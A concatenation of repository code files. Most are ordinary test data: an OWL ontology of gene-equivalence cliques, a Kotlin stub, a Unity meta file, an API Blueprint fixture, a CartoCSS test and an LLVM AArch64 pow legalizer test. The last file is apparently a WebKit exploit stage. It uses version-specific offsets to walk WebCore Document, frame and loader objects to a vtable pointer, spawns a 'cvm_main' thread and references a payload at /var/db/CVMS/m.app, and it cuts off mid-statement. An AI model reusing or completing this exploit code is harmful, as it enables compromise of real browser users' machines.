<http://rgd.mcw.edu/rgdweb/report/gene/main.html?id=> Prefix: RO: <http://purl.obolibrary.org/obo/RO_> Prefix: RefSeq: <http://www.ncbi.nlm.nih.gov/refseq/?term=> Prefix: SGD: <http://identifiers.org/SGD:> Prefix: SIO: <http://semanticscience.org/resource/SIO_> Prefix: SNOMED: <http://purl.obolibrary.org/obo/SNOMED_> Prefix: SO: <http://purl.obolibrary.org/obo/SO_> Prefix: SwissProt: <http://identifiers.org/SwissProt:> Prefix: TAIR: <http://identifiers.org/TAIR:> Prefix: TrEMBL: <http://www.uniprot.org/uniprot/> Prefix: UBERON: <http://purl.obolibrary.org/obo/UBERON_> Prefix: UCSC: <ftp://hgdownload.cse.ucsc.edu/goldenPath/> Prefix: UMLS: <http://purl.obolibrary.org/obo/UMLS_> Prefix: UO: <http://purl.obolibrary.org/obo/UO_> Prefix: UniProtKB: <http://identifiers.org/uniprot/> Prefix: VT: <http://purl.obolibrary.org/obo/VT_> Prefix: WormBase: <http://identifiers.org/wormbase/> Prefix: XCO: <http://purl.obolibrary.org/obo/XCO_> Prefix: Xenbase: <http://identifiers.org/xenbase/> Prefix: ZFA: <http://purl.obolibrary.org/obo/ZFA_> Prefix: ZFIN: <http://zfin.org/> Prefix: ZFS: <http://purl.obolibrary.org/obo/ZFS_> Prefix: ZP: <http://purl.obolibrary.org/obo/ZP_> Prefix: dbSNP: <http://www.ncbi.nlm.nih.gov/SNP/> Prefix: dbSNPIndividual: <http://www.ncbi.nlm.nih.gov/SNP/snp_ind.cgi?ind_id=> Prefix: dbVar: <http://www.ncbi.nlm.nih.gov/dbvar/> Prefix: dc: <http://purl.org/dc/elements/1.1/> Prefix: dictyBase: <http://dictybase.org/gene/> Prefix: faldo: <http://biohackathon.org/resource/faldo#> Prefix: foaf: <http://xmlns.com/foaf/0.1/> Prefix: miRBase: <http://identifiers.org/mirbase/> Prefix: owl: <http://www.w3.org/2002/07/owl#> Prefix: rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> Prefix: rdfs: <http://www.w3.org/2000/01/rdf-schema#> Prefix: xml: <http://www.w3.org/XML/1998/namespace> Prefix: xsd: <http://www.w3.org/2001/XMLSchema#> Ontology: <http://scigraph.io/equivtest.owl> AnnotationProperty: MONARCH:cliqueLeader ObjectProperty: RO:HOM0000020 Annotations: rdfs:label " in 1 to 1 orthology relationship with" ObjectProperty: RO:0002162 Annotations: rdfs:label "in taxon" ObjectProperty: RO:0002200 Annotations: rdfs:label "has phenotype" Class: NCBITaxon:7955 Annotations: rdfs:label "Danio rerio" Class: NCBITaxon:9606 Annotations: rdfs:label "Homo sapiens" Class: NCBITaxon:10090 Annotations: rdfs:label "Mus musculus" # A phenoClique Class: ZP:0000001 Annotations: rdfs:label "zp phenotype" Class: HP:0000001 Annotations: rdfs:label "hp phenotype" EquivalentTo: ZP:0000001 Class: MP:0000001 Annotations: rdfs:label "mp phenotype" EquivalentTo: HP:0000001 ## Zebrafish gene pair clique Class: NCBIGene:ZG1 Annotations: rdfs:label "zg1 (ncbi)" SubClassOf: RO:0002162 some NCBITaxon:7955 # NCBI asserts homology to NCBI (human) SubClassOf: RO:HOM0000020 some NCBIGene:HG1 Class: ZFIN:ZG1 Annotations: rdfs:label "zg1 (zfin)", MONARCH:cliqueLeader true SubClassOf: RO:0002200 some ZP:0000001 # ZFIN asserts homology to MGI (mouse) SubClassOf: RO:HOM0000020 some MGI:MG1 EquivalentTo: NCBIGene:ZG1 ## Mouse gene pair clique Class: NCBIGene:MG1 Annotations: rdfs:label "mg1 (ncbi)" SubClassOf: RO:0002200 some MP:0000001 Class: MGI:MG1 Annotations: rdfs:label "mg1 (zfin)" EquivalentTo: NCBIGene:MG1 SubClassOf: RO:0002162 some NCBITaxon:10090 ## Human gene foursome; ## Clique asserted as chain of classes ## Taxon assertion on ENSEMBL Class: NCBIGene:HG1 Annotations: rdfs:label "hg1" Class: OMIM:HG1 EquivalentTo: NCBIGene:HG1 SubClassOf: RO:0002200 some HP:0000001 Class: HGNC:HG1 EquivalentTo: OMIM:HG1 Class: ENSEMBL:HG1 EquivalentTo: HGNC:HG1 SubClassOf: RO:0002162 some NCBITaxon:9606 ## Human gene foursome; ## Clique asserted using NCBI as hub node (inward) Class: NCBIGene:HG2 Annotations: rdfs:label "hg2" Class: OMIM:HG2 EquivalentTo: NCBIGene:HG2 SubClassOf: RO:0002200 some HP:0000001 Class: HGNC:HG2 EquivalentTo: NCBIGene:HG2 Class: ENSEMBL:HG2 EquivalentTo: NCBIGene:HG2 SubClassOf: RO:0002162 some NCBITaxon:9606 ## Human gene foursome; ## Clique asserted using NCBI as hub node (outward) Class: NCBIGene:HG3 Annotations: rdfs:label "hg3" EquivalentTo: OMIM:HG3 EquivalentTo: HGNC:HG3 EquivalentTo: ENSEMBL:HG3 Class: OMIM:HG3 SubClassOf: RO:0002200 some HP:0000001 Class: HGNC:HG3 Class: ENSEMBL:HG3 SubClassOf: RO:0002162 some NCBITaxon:9606 ## Non 1-1 examples Class: NCBIGene:HG4a Annotations: rdfs:label "hg4a" Class: NCBIGene:HG4b Annotations: rdfs:label "hg4b" Class: OMIM:HG4 SubClassOf: RO:0002200 some HP:0000001 EquivalentTo: HGNC:HG4 Class: HGNC:HG4 EquivalentTo: NCBIGene:HG4a EquivalentTo: NCBIGene:HG4b Class: ENSEMBL:HG4 EquivalentTo: OMIM:HG4

Web Ontology Language

jmcmurry/SciGraph

SciGraph-core/src/test/resources/ontologies/equivalence-cliques-test.owl

package test2 import test.* fun dummy() { if (true) 1 else property }

Kotlin

qussarah/declare

jps-plugin/testData/incremental/pureKotlin/publicPropertyWithPrivateSetterMultiFileFacade/prop2.kt

fileFormatVersion: 2 guid: b28a46ea97c2445794d29d5a8a718a4a timeCreated: 1538158527

Unity3D Asset

bobcy2015/ml-agents

com.unity.ml-agents/Runtime/Inference/TensorNames.cs.meta

FORMAT: 1A # Sample API ## GET /message + Response (text/plain) Hello World!

API Blueprint

tomoyamachi/dredd

packages/dredd-transactions/test/fixtures/apib/parser-warning.apib

#layer { ::outline { line-color: salmon; line-width: 10; } line-color: coral; line-width: 5; ::inline { line-color: moccasin; line-width: 1; } }

CartoCSS

nimix/carto

test/rendering-mss/basic_attachment_internal_before_and_after.mss

# NOTE: Assertions have been autogenerated by utils/update_mir_test_checks.py # RUN: llc -march=aarch64 -run-pass=legalizer %s -o - | FileCheck %s --- name: test_pow body: | bb.0.entry: ; CHECK-LABEL: name: test_pow ; CHECK: [[COPY:%[0-9]+]]:_(s64) = COPY $d0 ; CHECK: [[COPY1:%[0-9]+]]:_(s64) = COPY $d1 ; CHECK: [[COPY2:%[0-9]+]]:_(s32) = COPY $s2 ; CHECK: [[COPY3:%[0-9]+]]:_(s32) = COPY $s3 ; CHECK: ADJCALLSTACKDOWN 0, 0, implicit-def $sp, implicit $sp ; CHECK: $d0 = COPY [[COPY]](s64) ; CHECK: $d1 = COPY [[COPY1]](s64) ; CHECK: BL &pow, csr_aarch64_aapcs, implicit-def $lr, implicit $sp, implicit $d0, implicit $d1, implicit-def $d0 ; CHECK: [[COPY4:%[0-9]+]]:_(s64) = COPY $d0 ; CHECK: ADJCALLSTACKUP 0, 0, implicit-def $sp, implicit $sp ; CHECK: $x0 = COPY [[COPY4]](s64) ; CHECK: ADJCALLSTACKDOWN 0, 0, implicit-def $sp, implicit $sp ; CHECK: $s0 = COPY [[COPY2]](s32) ; CHECK: $s1 = COPY [[COPY3]](s32) ; CHECK: BL &powf, csr_aarch64_aapcs, implicit-def $lr, implicit $sp, implicit $s0, implicit $s1, implicit-def $s0 ; CHECK: [[COPY5:%[0-9]+]]:_(s32) = COPY $s0 ; CHECK: ADJCALLSTACKUP 0, 0, implicit-def $sp, implicit $sp ; CHECK: $w0 = COPY [[COPY5]](s32) %0:_(s64) = COPY $d0 %1:_(s64) = COPY $d1 %2:_(s32) = COPY $s2 %3:_(s32) = COPY $s3 %4:_(s64) = G_FPOW %0, %1 $x0 = COPY %4(s64) %5:_(s32) = G_FPOW %2, %3 $w0 = COPY %5(s32) ... --- name: test_v4f16.pow alignment: 4 tracksRegLiveness: true body: | bb.0: liveins: $d0, $d1 ; CHECK-LABEL: name: test_v4f16.pow ; CHECK: liveins: $d0, $d1 ; CHECK: [[COPY:%[0-9]+]]:_(<4 x s16>) = COPY $d0 ; CHECK: [[COPY1:%[0-9]+]]:_(<4 x s16>) = COPY $d1 ; CHECK: [[UV:%[0-9]+]]:_(s16), [[UV1:%[0-9]+]]:_(s16), [[UV2:%[0-9]+]]:_(s16), [[UV3:%[0-9]+]]:_(s16) = G_UNMERGE_VALUES [[COPY]](<4 x s16>) ; CHECK: [[UV4:%[0-9]+]]:_(s16), [[UV5:%[0-9]+]]:_(s16), [[UV6:%[0-9]+]]:_(s16), [[UV7:%[0-9]+]]:_(s16) = G_UNMERGE_VALUES [[COPY1]](<4 x s16>) ; CHECK: [[FPEXT:%[0-9]+]]:_(s32) = G_FPEXT [[UV]](s16) ; CHECK: [[FPEXT1:%[0-9]+]]:_(s32) = G_FPEXT [[UV4]](s16) ; CHECK: ADJCALLSTACKDOWN 0, 0, implicit-def $sp, implicit $sp ; CHECK: $s0 = COPY [[FPEXT]](s32) ; CHECK: $s1 = COPY [[FPEXT1]](s32) ; CHECK: BL &powf, csr_aarch64_aapcs, implicit-def $lr, implicit $sp, implicit $s0, implicit $s1, implicit-def $s0 ; CHECK: [[COPY2:%[0-9]+]]:_(s32) = COPY $s0 ; CHECK: ADJCALLSTACKUP 0, 0, implicit-def $sp, implicit $sp ; CHECK: [[FPTRUNC:%[0-9]+]]:_(s16) = G_FPTRUNC [[COPY2]](s32) ; CHECK: [[FPEXT2:%[0-9]+]]:_(s32) = G_FPEXT [[UV1]](s16) ; CHECK: [[FPEXT3:%[0-9]+]]:_(s32) = G_FPEXT [[UV5]](s16) ; CHECK: ADJCALLSTACKDOWN 0, 0, implicit-def $sp, implicit $sp ; CHECK: $s0 = COPY [[FPEXT2]](s32) ; CHECK: $s1 = COPY [[FPEXT3]](s32) ; CHECK: BL &powf, csr_aarch64_aapcs, implicit-def $lr, implicit $sp, implicit $s0, implicit $s1, implicit-def $s0 ; CHECK: [[COPY3:%[0-9]+]]:_(s32) = COPY $s0 ; CHECK: ADJCALLSTACKUP 0, 0, implicit-def $sp, implicit $sp ; CHECK: [[FPTRUNC1:%[0-9]+]]:_(s16) = G_FPTRUNC [[COPY3]](s32) ; CHECK: [[FPEXT4:%[0-9]+]]:_(s32) = G_FPEXT [[UV2]](s16) ; CHECK: [[FPEXT5:%[0-9]+]]:_(s32) = G_FPEXT [[UV6]](s16) ; CHECK: ADJCALLSTACKDOWN 0, 0, implicit-def $sp, implicit $sp ; CHECK: $s0 = COPY [[FPEXT4]](s32) ; CHECK: $s1 = COPY [[FPEXT5]](s32) ; CHECK: BL &powf, csr_aarch64_aapcs, implicit-def $lr, implicit $sp, implicit $s0, implicit $s1, implicit-def $s0 ; CHECK: [[COPY4:%[0-9]+]]:_(s32) = COPY $s0 ; CHECK: ADJCALLSTACKUP 0, 0, implicit-def $sp, implicit $sp ; CHECK: [[FPTRUNC2:%[0-9]+]]:_(s16) = G_FPTRUNC [[COPY4]](s32) ; CHECK: [[FPEXT6:%[0-9]+]]:_(s32) = G_FPEXT [[UV3]](s16) ; CHECK: [[FPEXT7:%[0-9]+]]:_(s32) = G_FPEXT [[UV7]](s16) ; CHECK: ADJCALLSTACKDOWN 0, 0, implicit-def $sp, implicit $sp ; CHECK: $s0 = COPY [[FPEXT6]](s32) ; CHECK: $s1 = COPY [[FPEXT7]](s32) ; CHECK: BL &powf, csr_aarch64_aapcs, implicit-def $lr, implicit $sp, implicit $s0, implicit $s1, implicit-def $s0 ; CHECK: [[COPY5:%[0-9]+]]:_(s32) = COPY $s0 ; CHECK: ADJCALLSTACKUP 0, 0, implicit-def $sp, implicit $sp ; CHECK: [[FPTRUNC3:%[0-9]+]]:_(s16) = G_FPTRUNC [[COPY5]](s32) ; CHECK: [[BUILD_VECTOR:%[0-9]+]]:_(<4 x s16>) = G_BUILD_VECTOR [[FPTRUNC]](s16), [[FPTRUNC1]](s16), [[FPTRUNC2]](s16), [[FPTRUNC3]](s16) ; CHECK: $d0 = COPY [[BUILD_VECTOR]](<4 x s16>) ; CHECK: RET_ReallyLR implicit $d0 %0:_(<4 x s16>) = COPY $d0 %1:_(<4 x s16>) = COPY $d1 %2:_(<4 x s16>) = G_FPOW %0, %1 $d0 = COPY %2(<4 x s16>) RET_ReallyLR implicit $d0 ... --- name: test_v8f16.pow alignment: 4 tracksRegLiveness: true body: | bb.0: liveins: $q0, $q1 ; CHECK-LABEL: name: test_v8f16.pow ; CHECK: liveins: $q0, $q1 ; CHECK: [[COPY:%[0-9]+]]:_(<8 x s16>) = COPY $q0 ; CHECK: [[COPY1:%[0-9]+]]:_(<8 x s16>) = COPY $q1 ; CHECK: [[UV:%[0-9]+]]:_(s16), [[UV1:%[0-9]+]]:_(s16), [[UV2:%[0-9]+]]:_(s16), [[UV3:%[0-9]+]]:_(s16), [[UV4:%[0-9]+]]:_(s16), [[UV5:%[0-9]+]]:_(s16), [[UV6:%[0-9]+]]:_(s16), [[UV7:%[0-9]+]]:_(s16) = G_UNMERGE_VALUES [[COPY]](<8 x s16>) ; CHECK: [[UV8:%[0-9]+]]:_(s16), [[UV9:%[0-9]+]]:_(s16), [[UV10:%[0-9]+]]:_(s16), [[UV11:%[0-9]+]]:_(s16), [[UV12:%[0-9]+]]:_(s16), [[UV13:%[0-9]+]]:_(s16), [[UV14:%[0-9]+]]:_(s16), [[UV15:%[0-9]+]]:_(s16) = G_UNMERGE_VALUES [[COPY1]](<8 x s16>) ; CHECK: [[FPEXT:%[0-9]+]]:_(s32) = G_FPEXT [[UV]](s16) ; CHECK: [[FPEXT1:%[0-9]+]]:_(s32) = G_FPEXT [[UV8]](s16) ; CHECK: ADJCALLSTACKDOWN 0, 0, implicit-def $sp, implicit $sp ; CHECK: $s0 = COPY [[FPEXT]](s32) ; CHECK: $s1 = COPY [[FPEXT1]](s32) ; CHECK: BL &powf, csr_aarch64_aapcs, implicit-def $lr, implicit $sp, implicit $s0, implicit $s1, implicit-def $s0 ; CHECK: [[COPY2:%[0-9]+]]:_(s32) = COPY $s0 ; CHECK: ADJCALLSTACKUP 0, 0, implicit-def $sp, implicit $sp ; CHECK: [[FPTRUNC:%[0-9]+]]:_(s16) = G_FPTRUNC [[COPY2]](s32) ; CHECK: [[FPEXT2:%[0-9]+]]:_(s32) = G_FPEXT [[UV1]](s16) ; CHECK: [[FPEXT3:%[0-9]+]]:_(s32) = G_FPEXT [[UV9]](s16) ; CHECK: ADJCALLSTACKDOWN 0, 0, implicit-def $sp, implicit $sp ; CHECK: $s0 = COPY [[FPEXT2]](s32) ; CHECK: $s1 = COPY [[FPEXT3]](s32) ; CHECK: BL &powf, csr_aarch64_aapcs, implicit-def $lr, implicit $sp, implicit $s0, implicit $s1, implicit-def $s0 ; CHECK: [[COPY3:%[0-9]+]]:_(s32) = COPY $s0 ; CHECK: ADJCALLSTACKUP 0, 0, implicit-def $sp, implicit $sp ; CHECK: [[FPTRUNC1:%[0-9]+]]:_(s16) = G_FPTRUNC [[COPY3]](s32) ; CHECK: [[FPEXT4:%[0-9]+]]:_(s32) = G_FPEXT [[UV2]](s16) ; CHECK: [[FPEXT5:%[0-9]+]]:_(s32) = G_FPEXT [[UV10]](s16) ; CHECK: ADJCALLSTACKDOWN 0, 0, implicit-def $sp, implicit $sp ; CHECK: $s0 = COPY [[FPEXT4]](s32) ; CHECK: $s1 = COPY [[FPEXT5]](s32) ; CHECK: BL &powf, csr_aarch64_aapcs, implicit-def $lr, implicit $sp, implicit $s0, implicit $s1, implicit-def $s0 ; CHECK: [[COPY4:%[0-9]+]]:_(s32) = COPY $s0 ; CHECK: ADJCALLSTACKUP 0, 0, implicit-def $sp, implicit $sp ; CHECK: [[FPTRUNC2:%[0-9]+]]:_(s16) = G_FPTRUNC [[COPY4]](s32) ; CHECK: [[FPEXT6:%[0-9]+]]:_(s32) = G_FPEXT [[UV3]](s16) ; CHECK: [[FPEXT7:%[0-9]+]]:_(s32) = G_FPEXT [[UV11]](s16) ; CHECK: ADJCALLSTACKDOWN 0, 0, implicit-def $sp, implicit $sp ; CHECK: $s0 = COPY [[FPEXT6]](s32) ; CHECK: $s1 = COPY [[FPEXT7]](s32) ; CHECK: BL &powf, csr_aarch64_aapcs, implicit-def $lr, implicit $sp, implicit $s0, implicit $s1, implicit-def $s0 ; CHECK: [[COPY5:%[0-9]+]]:_(s32) = COPY $s0 ; CHECK: ADJCALLSTACKUP 0, 0, implicit-def $sp, implicit $sp ; CHECK: [[FPTRUNC3:%[0-9]+]]:_(s16) = G_FPTRUNC [[COPY5]](s32) ; CHECK: [[FPEXT8:%[0-9]+]]:_(s32) = G_FPEXT [[UV4]](s16) ; CHECK: [[FPEXT9:%[0-9]+]]:_(s32) = G_FPEXT [[UV12]](s16) ; CHECK: ADJCALLSTACKDOWN 0, 0, implicit-def $sp, implicit $sp ; CHECK: $s0 = COPY [[FPEXT8]](s32) ; CHECK: $s1 = COPY [[FPEXT9]](s32) ; CHECK: BL &powf, csr_aarch64_aapcs, implicit-def $lr, implicit $sp, implicit $s0, implicit $s1, implicit-def $s0 ; CHECK: [[COPY6:%[0-9]+]]:_(s32) = COPY $s0 ; CHECK: ADJCALLSTACKUP 0, 0, implicit-def $sp, implicit $sp ; CHECK: [[FPTRUNC4:%[0-9]+]]:_(s16) = G_FPTRUNC [[COPY6]](s32) ; CHECK: [[FPEXT10:%[0-9]+]]:_(s32) = G_FPEXT [[UV5]](s16) ; CHECK: [[FPEXT11:%[0-9]+]]:_(s32) = G_FPEXT [[UV13]](s16) ; CHECK: ADJCALLSTACKDOWN 0, 0, implicit-def $sp, implicit $sp ; CHECK: $s0 = COPY [[FPEXT10]](s32) ; CHECK: $s1 = COPY [[FPEXT11]](s32) ; CHECK: BL &powf, csr_aarch64_aapcs, implicit-def $lr, implicit $sp, implicit $s0, implicit $s1, implicit-def $s0 ; CHECK: [[COPY7:%[0-9]+]]:_(s32) = COPY $s0 ; CHECK: ADJCALLSTACKUP 0, 0, implicit-def $sp, implicit $sp ; CHECK: [[FPTRUNC5:%[0-9]+]]:_(s16) = G_FPTRUNC [[COPY7]](s32) ; CHECK: [[FPEXT12:%[0-9]+]]:_(s32) = G_FPEXT [[UV6]](s16) ; CHECK: [[FPEXT13:%[0-9]+]]:_(s32) = G_FPEXT [[UV14]](s16) ; CHECK: ADJCALLSTACKDOWN 0, 0, implicit-def $sp, implicit $sp ; CHECK: $s0 = COPY [[FPEXT12]](s32) ; CHECK: $s1 = COPY [[FPEXT13]](s32) ; CHECK: BL &powf, csr_aarch64_aapcs, implicit-def $lr, implicit $sp, implicit $s0, implicit $s1, implicit-def $s0 ; CHECK: [[COPY8:%[0-9]+]]:_(s32) = COPY $s0 ; CHECK: ADJCALLSTACKUP 0, 0, implicit-def $sp, implicit $sp ; CHECK: [[FPTRUNC6:%[0-9]+]]:_(s16) = G_FPTRUNC [[COPY8]](s32) ; CHECK: [[FPEXT14:%[0-9]+]]:_(s32) = G_FPEXT [[UV7]](s16) ; CHECK: [[FPEXT15:%[0-9]+]]:_(s32) = G_FPEXT [[UV15]](s16) ; CHECK: ADJCALLSTACKDOWN 0, 0, implicit-def $sp, implicit $sp ; CHECK: $s0 = COPY [[FPEXT14]](s32) ; CHECK: $s1 = COPY [[FPEXT15]](s32) ; CHECK: BL &powf, csr_aarch64_aapcs, implicit-def $lr, implicit $sp, implicit $s0, implicit $s1, implicit-def $s0 ; CHECK: [[COPY9:%[0-9]+]]:_(s32) = COPY $s0 ; CHECK: ADJCALLSTACKUP 0, 0, implicit-def $sp, implicit $sp ; CHECK: [[FPTRUNC7:%[0-9]+]]:_(s16) = G_FPTRUNC [[COPY9]](s32) ; CHECK: [[BUILD_VECTOR:%[0-9]+]]:_(<8 x s16>) = G_BUILD_VECTOR [[FPTRUNC]](s16), [[FPTRUNC1]](s16), [[FPTRUNC2]](s16), [[FPTRUNC3]](s16), [[FPTRUNC4]](s16), [[FPTRUNC5]](s16), [[FPTRUNC6]](s16), [[FPTRUNC7]](s16) ; CHECK: $q0 = COPY [[BUILD_VECTOR]](<8 x s16>) ; CHECK: RET_ReallyLR implicit $q0 %0:_(<8 x s16>) = COPY $q0 %1:_(<8 x s16>) = COPY $q1 %2:_(<8 x s16>) = G_FPOW %0, %1 $q0 = COPY %2(<8 x s16>) RET_ReallyLR implicit $q0 ... --- name: test_v2f32.pow alignment: 4 tracksRegLiveness: true body: | bb.0: liveins: $d0, $d1 ; CHECK-LABEL: name: test_v2f32.pow ; CHECK: liveins: $d0, $d1 ; CHECK: [[COPY:%[0-9]+]]:_(<2 x s32>) = COPY $d0 ; CHECK: [[COPY1:%[0-9]+]]:_(<2 x s32>) = COPY $d1 ; CHECK: [[UV:%[0-9]+]]:_(s32), [[UV1:%[0-9]+]]:_(s32) = G_UNMERGE_VALUES [[COPY]](<2 x s32>) ; CHECK: [[UV2:%[0-9]+]]:_(s32), [[UV3:%[0-9]+]]:_(s32) = G_UNMERGE_VALUES [[COPY1]](<2 x s32>) ; CHECK: ADJCALLSTACKDOWN 0, 0, implicit-def $sp, implicit $sp ; CHECK: $s0 = COPY [[UV]](s32) ; CHECK: $s1 = COPY [[UV2]](s32) ; CHECK: BL &powf, csr_aarch64_aapcs, implicit-def $lr, implicit $sp, implicit $s0, implicit $s1, implicit-def $s0 ; CHECK: [[COPY2:%[0-9]+]]:_(s32) = COPY $s0 ; CHECK: ADJCALLSTACKUP 0, 0, implicit-def $sp, implicit $sp ; CHECK: ADJCALLSTACKDOWN 0, 0, implicit-def $sp, implicit $sp ; CHECK: $s0 = COPY [[UV1]](s32) ; CHECK: $s1 = COPY [[UV3]](s32) ; CHECK: BL &powf, csr_aarch64_aapcs, implicit-def $lr, implicit $sp, implicit $s0, implicit $s1, implicit-def $s0 ; CHECK: [[COPY3:%[0-9]+]]:_(s32) = COPY $s0 ; CHECK: ADJCALLSTACKUP 0, 0, implicit-def $sp, implicit $sp ; CHECK: [[BUILD_VECTOR:%[0-9]+]]:_(<2 x s32>) = G_BUILD_VECTOR [[COPY2]](s32), [[COPY3]](s32) ; CHECK: $d0 = COPY [[BUILD_VECTOR]](<2 x s32>) ; CHECK: RET_ReallyLR implicit $d0 %0:_(<2 x s32>) = COPY $d0 %1:_(<2 x s32>) = COPY $d1 %2:_(<2 x s32>) = G_FPOW %0, %1 $d0 = COPY %2(<2 x s32>) RET_ReallyLR implicit $d0 ... --- name: test_v4f32.pow alignment: 4 tracksRegLiveness: true body: | bb.0: liveins: $q0, $q1 ; CHECK-LABEL: name: test_v4f32.pow ; CHECK: liveins: $q0, $q1 ; CHECK: [[COPY:%[0-9]+]]:_(<4 x s32>) = COPY $q0 ; CHECK: [[COPY1:%[0-9]+]]:_(<4 x s32>) = COPY $q1 ; CHECK: [[UV:%[0-9]+]]:_(s32), [[UV1:%[0-9]+]]:_(s32), [[UV2:%[0-9]+]]:_(s32), [[UV3:%[0-9]+]]:_(s32) = G_UNMERGE_VALUES [[COPY]](<4 x s32>) ; CHECK: [[UV4:%[0-9]+]]:_(s32), [[UV5:%[0-9]+]]:_(s32), [[UV6:%[0-9]+]]:_(s32), [[UV7:%[0-9]+]]:_(s32) = G_UNMERGE_VALUES [[COPY1]](<4 x s32>) ; CHECK: ADJCALLSTACKDOWN 0, 0, implicit-def $sp, implicit $sp ; CHECK: $s0 = COPY [[UV]](s32) ; CHECK: $s1 = COPY [[UV4]](s32) ; CHECK: BL &powf, csr_aarch64_aapcs, implicit-def $lr, implicit $sp, implicit $s0, implicit $s1, implicit-def $s0 ; CHECK: [[COPY2:%[0-9]+]]:_(s32) = COPY $s0 ; CHECK: ADJCALLSTACKUP 0, 0, implicit-def $sp, implicit $sp ; CHECK: ADJCALLSTACKDOWN 0, 0, implicit-def $sp, implicit $sp ; CHECK: $s0 = COPY [[UV1]](s32) ; CHECK: $s1 = COPY [[UV5]](s32) ; CHECK: BL &powf, csr_aarch64_aapcs, implicit-def $lr, implicit $sp, implicit $s0, implicit $s1, implicit-def $s0 ; CHECK: [[COPY3:%[0-9]+]]:_(s32) = COPY $s0 ; CHECK: ADJCALLSTACKUP 0, 0, implicit-def $sp, implicit $sp ; CHECK: ADJCALLSTACKDOWN 0, 0, implicit-def $sp, implicit $sp ; CHECK: $s0 = COPY [[UV2]](s32) ; CHECK: $s1 = COPY [[UV6]](s32) ; CHECK: BL &powf, csr_aarch64_aapcs, implicit-def $lr, implicit $sp, implicit $s0, implicit $s1, implicit-def $s0 ; CHECK: [[COPY4:%[0-9]+]]:_(s32) = COPY $s0 ; CHECK: ADJCALLSTACKUP 0, 0, implicit-def $sp, implicit $sp ; CHECK: ADJCALLSTACKDOWN 0, 0, implicit-def $sp, implicit $sp ; CHECK: $s0 = COPY [[UV3]](s32) ; CHECK: $s1 = COPY [[UV7]](s32) ; CHECK: BL &powf, csr_aarch64_aapcs, implicit-def $lr, implicit $sp, implicit $s0, implicit $s1, implicit-def $s0 ; CHECK: [[COPY5:%[0-9]+]]:_(s32) = COPY $s0 ; CHECK: ADJCALLSTACKUP 0, 0, implicit-def $sp, implicit $sp ; CHECK: [[BUILD_VECTOR:%[0-9]+]]:_(<4 x s32>) = G_BUILD_VECTOR [[COPY2]](s32), [[COPY3]](s32), [[COPY4]](s32), [[COPY5]](s32) ; CHECK: $q0 = COPY [[BUILD_VECTOR]](<4 x s32>) ; CHECK: RET_ReallyLR implicit $q0 %0:_(<4 x s32>) = COPY $q0 %1:_(<4 x s32>) = COPY $q1 %2:_(<4 x s32>) = G_FPOW %0, %1 $q0 = COPY %2(<4 x s32>) RET_ReallyLR implicit $q0 ... --- name: test_v2f64.pow alignment: 4 tracksRegLiveness: true body: | bb.0: liveins: $q0, $q1 ; CHECK-LABEL: name: test_v2f64.pow ; CHECK: liveins: $q0, $q1 ; CHECK: [[COPY:%[0-9]+]]:_(<2 x s64>) = COPY $q0 ; CHECK: [[COPY1:%[0-9]+]]:_(<2 x s64>) = COPY $q1 ; CHECK: [[UV:%[0-9]+]]:_(s64), [[UV1:%[0-9]+]]:_(s64) = G_UNMERGE_VALUES [[COPY]](<2 x s64>) ; CHECK: [[UV2:%[0-9]+]]:_(s64), [[UV3:%[0-9]+]]:_(s64) = G_UNMERGE_VALUES [[COPY1]](<2 x s64>) ; CHECK: ADJCALLSTACKDOWN 0, 0, implicit-def $sp, implicit $sp ; CHECK: $d0 = COPY [[UV]](s64) ; CHECK: $d1 = COPY [[UV2]](s64) ; CHECK: BL &pow, csr_aarch64_aapcs, implicit-def $lr, implicit $sp, implicit $d0, implicit $d1, implicit-def $d0 ; CHECK: [[COPY2:%[0-9]+]]:_(s64) = COPY $d0 ; CHECK: ADJCALLSTACKUP 0, 0, implicit-def $sp, implicit $sp ; CHECK: ADJCALLSTACKDOWN 0, 0, implicit-def $sp, implicit $sp ; CHECK: $d0 = COPY [[UV1]](s64) ; CHECK: $d1 = COPY [[UV3]](s64) ; CHECK: BL &pow, csr_aarch64_aapcs, implicit-def $lr, implicit $sp, implicit $d0, implicit $d1, implicit-def $d0 ; CHECK: [[COPY3:%[0-9]+]]:_(s64) = COPY $d0 ; CHECK: ADJCALLSTACKUP 0, 0, implicit-def $sp, implicit $sp ; CHECK: [[BUILD_VECTOR:%[0-9]+]]:_(<2 x s64>) = G_BUILD_VECTOR [[COPY2]](s64), [[COPY3]](s64) ; CHECK: $q0 = COPY [[BUILD_VECTOR]](<2 x s64>) ; CHECK: RET_ReallyLR implicit $q0 %0:_(<2 x s64>) = COPY $q0 %1:_(<2 x s64>) = COPY $q1 %2:_(<2 x s64>) = G_FPOW %0, %1 $q0 = COPY %2(<2 x s64>) RET_ReallyLR implicit $q0

Mirah

medismailben/llvm-project

llvm/test/CodeGen/AArch64/GlobalISel/legalize-pow.mir

#include <stdio.h> #include <pthread.h> #include <stdlib.h> #include <sys/sysctl.h> #define WEBCORE_EXPORT #include "ResourceError.h" #import <CoreFoundation/CFError.h> #import <Foundation/Foundation.h> #include <wtf/URLParser.h> #import <wtf/BlockObjCExceptions.h> #import <wtf/NeverDestroyed.h> namespace WTF { } namespace WebCore { String getNSURLErrorDomain() { static const NeverDestroyed<String> errorDomain(NSURLErrorDomain); return errorDomain.get(); } } using namespace WebCore; class Client { public: }; class Document { }; template<typename T> class Wrapper { public: void *a, *b, *type; T *wrapped; }; __asm__(".quad 0x13371337, 0\njmp _main"); void *cvm_main(void *); extern "C" int main(int, char **args) { uint64_t document_addr = (uint64_t)((Wrapper<Document> *)args[0])->wrapped; char product[256] = {0}; size_t strsize = sizeof(product); int ret = sysctlbyname("kern.osproductversion", product, &strsize, NULL, 0); // 10.15.4 uint64_t frame_offset = 0x160; uint64_t loader_offset = 0x88; uint64_t vtable_offset = 0x138; if (!strcmp(product, "10.15.3")) { frame_offset = 0x1a0; loader_offset = 0x98; vtable_offset = 0x140; } uint64_t frame = (uint64_t)*(uint64_t*)(document_addr + frame_offset); uint64_t loaderptr = (uint64_t)*(uint64_t*)(frame + loader_offset); uint64_t clientuint = (uint64_t)*(uint64_t*)(loaderptr + 8); uint64_t clientvftable = (uint64_t)*(uint64_t*)clientuint; void* func_ptr = (void*)*(uint64_t*)(clientvftable + vtable_offset); Client* client = (Client*)clientuint; pthread_t thread; pthread_create(&thread, NULL, cvm_main, NULL); pthread_join(thread, NULL); char buf[0x400] = "file:///var/db/CVMS/m.app"; ResourceError error(getNSURLErrorDomain(), -1101, {{}, buf}, "yee"); typedef void 